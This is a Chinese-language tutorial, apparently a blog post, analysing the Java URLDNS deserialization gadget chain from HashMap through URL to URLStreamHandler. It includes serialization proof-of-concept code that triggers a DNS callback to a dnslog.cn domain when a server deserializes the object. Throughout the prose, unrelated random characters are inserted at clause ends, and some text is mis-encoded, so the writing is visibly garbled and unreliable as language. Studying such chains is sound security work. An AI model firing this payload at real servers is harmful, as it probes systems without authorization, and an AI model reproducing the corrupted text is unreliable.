反序列化發(fā)掘依據(jù):
1)調(diào)用鏈中使用的類可被序列化
2)調(diào)用鏈中使用的類屬性可被序列化
反序列化發(fā)掘方法:
1)入口類重寫readObject方法
2)入口類可傳入任意對象(這種類一般為集合類)
3)執(zhí)行類可被利用執(zhí)行危險或任意函數(shù)
這條鏈算是JDK鏈里最簡單的,作為入門可以看看添坊,下面進行正向分析浙宜。
(小白們建議使用低版本的JDK去調(diào)試這個鏈遏匆,比如JDK8运嗜,這樣調(diào)用反射時不會出現(xiàn)報錯)
一畜挨、java.util.HashMap(入口類)
(一)入口類
首先說明入口類的概念除盏,在這條鏈中款慨,入口類可以被理解為JDK中經(jīng)常被使用的類味混,并且其繼承了Serializable
接口产雹、具備readObject
方法、readObject
方法中會調(diào)用一些類以及該類的某種方法(這種方法中可直接或間接調(diào)用危險函數(shù))翁锡。
(二)分析
1)
這里選中HashMap
類蔓挖,并分析其readObject
方法。
首先繼承了Serializable
接口:
重寫了readObject
方法:
【因為HashMap<K,V>
:存儲數(shù)據(jù)采用的哈希表結(jié)構(gòu)馆衔,元素的存取順序不能保證一致瘟判。由于要保證鍵的唯一、不重復(fù)角溃,在反序列化過程中就需要對Key
進行hash拷获,這樣一來就需要重寫readObject
方法〖跸福】
2)
我們這里選擇分析readObject
中調(diào)用的hash()
方法匆瓜。進行跟進。
可以看到未蝌,這里使用傳入?yún)?shù)對象key
的hashCode
方法驮吱。由于很多類中都具有hashCode
方法(用來進行哈希),所以接下來考慮有沒有可能存在某個特殊的類M
萧吠,其hashCode
方法中直接或間接可調(diào)用危險函數(shù)左冬。
帶著這種想法去找這么一個類M
,最后纸型,找到URL
類可作為我們所說的類M
(找尋過程需要對JDK很多類進行了解和分析)拇砰。
3)
接下來先解決當(dāng)前問題:確定HashMap在readObject過程中能夠正常執(zhí)行到putVal()
方法這里九昧,以及傳入hash
方法中的參數(shù)對象key
可控。
首先可以看到毕匀,參數(shù)對象Key
由s.readObject()
獲取
其中s
為輸入的序列化流(證明key
可控)
其次铸鹰,要執(zhí)行這個for循環(huán)需要滿足這個else if
條件
而mappings由s.readInt()
確定,即mappings的長度皂岔,也就是我們將HahsMap
序列化前其不為空即可蹋笼。
二、java.net.URL(調(diào)用鏈中的類)
(一)分析
4)
回到步驟(2)中的URL
類
跟進URL
類的hashCode
方法
可以看到當(dāng)hashCode
屬性的值為-1時躁垛,跳過if條件剖毯,執(zhí)行handler
對象的hashCode
方法,并將自身URL
類的實例作為參數(shù)傳入教馆。
5)
跟進handler
對象的hashCode
方法
確定handler
屬性中保存的是URLStreamHandler
類的實例逊谋。并且在調(diào)用其hashCode
方法時,會執(zhí)行getHostAddress
方法(getHostAddress
方法中會獲取傳入的URL
對象的IP土铺,也就是會進行DNS請求胶滋,詳情可以自己跟蹤下去這個方法的實現(xiàn),這里不多贅述)悲敷。
所以我們這里的目標(biāo)就是通過入口類HashMap
以及該調(diào)用鏈究恤,實現(xiàn)JDK在反序列化我們構(gòu)造的對象時,向我們設(shè)定好的DNS發(fā)起請求后德。
6)
首先部宿,我們要確認(rèn)URL
類中的屬性handler
是否初始值不為null剪况、或者可否被序列化(判斷能否序列化可以看這個文章https://www.runoob.com/w3cnote/java-transient-keywords.html)棉胀。
因為如果初始值不為null,我們就特意去構(gòu)造創(chuàng)建這么一個URLStreamHandler
類的實例召廷;如果為null绵患,但可被序列化雾叭,那我們可以構(gòu)造創(chuàng)建這么一個實例,來使其滿足調(diào)用鏈藏雏。
在此處跟進handler
可以看到不滿足我們上面期望的兩種情況拷况,handler
屬性不可被序列化、并且值默認(rèn)為null掘殴。這樣一來赚瘦,我們不能保證完全使用這條鏈。需要進一步確定奏寨。
7)
搜索handler
被使用的地方(URL
類的對象初始化方法中)起意。
可以看到,handler
屬性通過context.handler
來賦值
跟進context
顯然病瞳,這里的context
還是URL
類的實例揽咕,說明這條構(gòu)造方法通過其他構(gòu)造方法來調(diào)用悲酷。
找到調(diào)用該構(gòu)造方法的另一個構(gòu)造方法:
可以看到,剛才的構(gòu)造方法在這里進行調(diào)用亲善,并且傳入的handler
參數(shù)為null
再往上查找设易,又找到一個構(gòu)造方法,這里調(diào)用了剛才第二個構(gòu)造方法蛹头,并且其構(gòu)造只有一個傳參
通過上面的英文注釋顿肺,可以知道這里的唯一字符串傳參,最后可被解析為URL渣蜗。
8)
所以重新縷一下URL
類對應(yīng)實例的構(gòu)造過程
通過new URL("http://xxx.xxx")創(chuàng)建實例屠尊,構(gòu)造順序如下:
通過單參數(shù)構(gòu)造方法,調(diào)用雙參數(shù)構(gòu)造方法耕拷,傳入的參數(shù)context為null
又通過雙參數(shù)構(gòu)造方法讼昆,調(diào)用了三參數(shù)構(gòu)造方法,傳入的參數(shù)context和handler都為null
進入到三參數(shù)構(gòu)造方法:
來到protocol
屬性賦值這里骚烧,這里的newProtocol
在上面字符串截取中已經(jīng)被賦值浸赫,根據(jù)上面的spec參數(shù),這里大概應(yīng)該是http止潘。
根據(jù)上面代碼的執(zhí)行情況掺炭,context還未被賦值,所以這條if語句中凭戴,context
依然為空,不會執(zhí)行
接下來的if判斷炕矮,由于protocol被賦值么夫,第一個if語句不會被執(zhí)行
第二個if語句,此時handler還未被賦值肤视,為null档痪;
接下來的條件與中handler = getURLStreamHandler(protocol)
,調(diào)用了getURLStreamHandler
方法給handler
賦值邢滑。(有興趣看細節(jié)的可以自己跟進這個方法)
然后handler
再賦值給了this.handler
至此腐螟,確定this.handler
在初始化過程中會被賦值,所以我們不用擔(dān)心步驟(6)中為null的情況困后。
9)
我們回到步驟(6)中需要的條件
我們執(zhí)行handler.hashCode()
需要滿足hashCode屬性的值為-1
跟進hashCode屬性
可以看到hashCode
值默認(rèn)為-1乐纸,滿足條件。
三摇予、java.net.URLStreamHandler(執(zhí)行類)
這里補充一下執(zhí)行類這個概念汽绢,首先從步驟(5)可以知道,最終執(zhí)行的危險函數(shù)是URLStreamHandler
實例的方法getHostAddress()
侧戴。而URL
類只是起到中間者的身份宁昭,在這整個鏈中跌宛,HashMap
類作為入口類并在readObject
時調(diào)用了URL
類hashCode
方法,而URL類中的hashCode
方法又調(diào)用了URLStreamHandler
的危險方法积仗。
四疆拘、編寫和調(diào)試
(一)初步編寫
10)編寫序列化POC
//test1.java
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws IOException {
URL url = new URL("http://abc.yqev2k.dnslog.cn");
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
11)編寫反序列化代碼,模擬服務(wù)端反序列化過程
//unser.java
import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class unser {
public static void main(String[] args) throws Exception {
FileInputStream fileInputStream = new FileInputStream("./test1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
}
12)問題
首先寂曹,在序列化生成POC的過程完畢后哎迄,我們查看DNSlog時,發(fā)現(xiàn)DNSlog居然收到了請求(這個請求是來自我們攻擊方生成序列化POC時發(fā)出的稀颁,而不是我們真正想要的芬失、服務(wù)端在反序列化過程發(fā)出的)
顯然,在序列化代碼中匾灶,有步驟調(diào)用了URL
實例的hashCode
方法
13)分析
我們可以下斷點調(diào)試棱烂,也可以自己跟進去分析。
因為這里代碼比較少阶女,我們可以直接猜測出來颊糜,在執(zhí)行這一步時,URL
實例的hashCode
方法被調(diào)用了秃踩。
跟進put
方法
可以看到這里也會調(diào)用hash(key)
衬鱼,所以導(dǎo)致了序列化過程對DNSlog進行請求。
14)初步解決
為了避免這一情況憔杨,可以利用步驟(4)中的hashCode
屬性:
在執(zhí)行put
方法前鸟赫,將URL
實例的hashCode
屬性的值修改為非-1
下面跟進hashCode
屬性
可以看到其修飾符為private
,所以我們無法直接進行修改消别,這需要用到反射的方式抛蚤。
(如果不理解“反射”的知識需要先去學(xué)習(xí))
(二)再次編寫
15)調(diào)試
import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws Exception {
URL url = new URL("http://abc.6kengh.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field hashcode = clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
此時,反序列化過程DNSlog已經(jīng)不會收到查詢
16)分析
但在服務(wù)端反序列化過程中寻狂,并沒有像預(yù)期一樣向DNSlog發(fā)送查詢岁经。
細心的人可以發(fā)現(xiàn)到,UR
實例的hashCode
屬性已經(jīng)修改為非-1蛇券,所以在反序列化時不會進入到URLStreamHandler
實例的hashCode
方法缀壤。
為了方便一些人理解,下面設(shè)下斷點來調(diào)試看看:
首先纠亚,DNSlog不收到請求塘慕,肯定是HashMap
在readObject
的過程出了問題,所以斷點設(shè)在其readObject
方法上
一路Step Over跟進到putVal
這里(其實斷點設(shè)在這更好)
Step into菜枷,然后選擇hash
進行Step into
可以看到一切都沒問題苍糠,繼續(xù)Step into跟進
這時,我們看到hashCode
屬性的值為123啤誊,并非-1岳瞭,所以這就是DNSlog收不到信息的原因拥娄。
17)解決
因此,在反射調(diào)用修改hashCode
的值后瞳筏,需要在hashmap.put()
賦值后面重新將hashCode
修改回-1
import java.lang.reflect.Field;
import java.net.URL;
import java.io.*;
import java.util.HashMap;
public class test1 {
public static void main(String[] args) throws Exception {
URL url = new URL("http://abc.6kengh.dnslog.cn");
Class clazz = Class.forName("java.net.URL");
Field hashcode = clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
HashMap hashmap = new HashMap();
hashmap.put(url,"ABC");
hashcode.set(url,-1);
FileOutputStream fileOutputStream = new FileOutputStream("./test1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
}
}
這樣一來稚瘾,模仿的反序列化過程DNSlog可以收到請求
補充
一)
其實步驟(7)(8)(9)的分析過程可以直接用程序證明